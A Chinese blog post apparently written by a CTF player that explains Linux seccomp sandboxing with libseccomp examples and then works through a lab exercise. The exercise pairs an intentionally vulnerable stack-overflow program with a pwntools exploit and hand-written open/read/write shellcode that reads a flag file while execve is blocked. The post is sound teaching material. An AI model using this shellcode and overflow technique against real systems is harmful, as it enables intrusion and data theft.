Seccomp学习(1)

D0wnBe@t Lv4

前言

  • 也算打了蛮多比赛,每次比赛都会有沙箱Sandbox,每次都去上网查资料,这次整理一下各种资料,尽量完善一下关于这方面的知识点。
  • 这里只介绍linux中的Seccomp
  • 本部分只是基础介绍一下什么是Seccomp以及相关的指令

参考文章:this

介绍

  • 先来了解一下什么是沙箱保护

Seccomp(Secure Computing Mode) 是 Linux 内核提供的一种安全机制,允许进程在运行时限制自己能够调用的系统调用。通过这种机制,Seccomp 可以显著降低攻击面,防止恶意进程执行危险的系统调用或造成资源泄露。

  • 也就是说Seccomp会过滤掉它所规定的指令,当用户执行这些指令的时候会被限制,不允许执行,下面让我们简单写一段代码看看

注意:为了使用seccomp头文件要安装下面所需:

1
sudo apt install libseccomp-dev libseccomp2 seccomp

测试程序

未开启沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gcc -g no_seccomp_execve.c -o no_seccomp_execve -lseccomp
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_load(ctx);

char * filename = "/bin/sh";
char * argv[] = {"/bin/sh",NULL};
char * envp[] = {NULL};
write(1,"i will give you a shell\n",24);
syscall(59,filename,argv,envp);//execve
return 0;
}
  • 执行效果:

开启沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//gcc -g seccomp_execve.c -o seccomp_execve -lseccomp
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); // 这里便是关键
seccomp_load(ctx);

char * filename = "/bin/sh";
char * argv[] = {"/bin/sh",NULL};
char * envp[] = {NULL};
write(1,"i will give you a shell\n",24);
syscall(59,filename,argv,envp);//execve
return 0;
}
  • 执行效果:直接报错

分析

  • 对比两段代码,第一个是没有开启沙箱禁用execve,此时随便执行什么都可以。
补充知识:

ctx:是一个指向 Seccomp 过滤器上下文 的指针,它是 seccomp_init 函数返回的一个结构体

ctx = seccomp_init(SCMP_ACT_ALLOW)其中的SCMP_ACT_ALLOW 表示初始化时默认允许所有的系统调用

  • 第二个开启了沙箱,禁用了execve,所以当我们试图去调用execve的时候会报错

详细解释一下seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0)

使用 seccomp_rule_add() 来向过滤器上下文中添加规则,规定特定的系统调用行为

通过 seccomp_load() 将已配置好的过滤器上下文加载到进程中,开始生效。

后面的0表示execve的参数,也就是说无论execve的参数是什么都禁用

  • 举个例子
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write),1,SCMP_A2(SCMP_CMP_GT,0x10));//第2(从0)个参数大于0x10
seccomp_load(ctx);
write(1,"i will give you a shell\n",24);//会拦截
write(1,"1234567812345678",0x10);//不被拦截
return 0;
}
  • 执行效果:

第一部分为注释掉第一条write,第二部分未注释

工具

seccomp-tools:下载地址:this

  • 效果

Prtctl简介

关于这部分感兴趣的直接看开头的参考文章即可,这里只讲Seccomp

简单例题(orw)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// gcc -g orw.c -o orw -lseccomp -fno-stack-protector -no-pie -z execstack 
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <string.h>

void gift()
{
asm volatile (
"jmp *%rsp;" // 跳转到 rsp 寄存器指向的地址
"ret;" // 返回
);
}
void seccomp()
{
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
seccomp_load(ctx);
}

void init()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

int main(void)
{
init();
seccomp();
char buf[0x100];
memset(buf,0,sizeof(buf));
read(0,buf,0x200);
}

分析

1
2
3
4
5
6
7
8
9
10
11
pwn@ctfpwn:~/learn/Seccomp/test$ seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
  • 禁用了execve,我们无法直接写execve的shellcode去get shell,但难道没有其他方法了吗?
  • 这道题目就是经典的orwopen读flag,read将其储存到buf,最后write输出出来,这道题目就可以直接打orw,先布置好shellcode然后jmp到rsp再执行shellcode
  • 方法参考:这篇文章

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch='amd64',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

def bug():
gdb.attach(p)
pause()
p = process("./orw")

#shellcode = shellcraft.sh()
#payload = cyclic(0x108)+asm(shellcode)
ret = 0x000000000040101a

shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3,'rsp',0x30)
shellcode += shellcraft.write(1,'rsp',0x30)

jmp_rsp = 0x00000000004011de
payload = asm(shellcode).ljust(0x108,b'\x00')
payload += p64(ret) + p64(jmp_rsp)
payload += asm('sub rsp, 0x118')
payload += asm('jmp rsp')
p.send(payload)
p.interactive()
  • 效果:

手写汇编

  • 先介绍一下三个函数的系统调用(64位情况下)

open 系统调用用于打开一个文件,并返回文件描述符。

系统调用号: 2

寄存器传递参数:

  • rax = 2(open 的系统调用号)
  • rdi = 文件路径(const char *pathname
  • rsi = 标志(int flags,例如 O_RDONLYO_WRONLYO_RDWR 等)
  • rdx = 模式(mode_t mode,用于 O_CREAT 标志时指定文件权限)

read 系统调用用于从文件描述符读取数据。

系统调用号: 0

寄存器传递参数:

  • rax = 0(read 的系统调用号)
  • rdi = 文件描述符(int fd
  • rsi = 缓冲区(void *buf
  • rdx = 要读取的字节数(size_t count

write 系统调用用于向文件描述符写入数据。

系统调用号: 1

寄存器传递参数:

  • rax = 1(write 的系统调用号)
  • rdi = 文件描述符(int fd
  • rsi = 缓冲区(const void *buf
  • rdx = 要写入的字节数(size_t count
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
shellcode = '''
/* open('flag') */
push 0x67616c66;
mov rdi, rsp; // 注意不要pop, 不然后面不能直接mov rsi, rsp;
xor rsi, rsi;
xor rdx, rdx;
push 2;
pop rax;
syscall;

/* read(3,'rsp',0x30) */
push 3; pop rdi;
push 0x30; pop rdx;
mov rsi, rsp;
xor rax, rax;
syscall;

/* write(1,'rsp',0x30) */
push 1; pop rdi;
mov rsi, rsp;
push 0x30; pop rdx;
push 1; pop rax;
syscall
'''

  • 标题: Seccomp学习(1)
  • 作者: D0wnBe@t
  • 创建于 : 2024-11-13 20:29:34
  • 更新于 : 2024-11-14 13:05:00
  • 链接: http://downbeat.top/2024/11/13/Seccomp学习-1/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论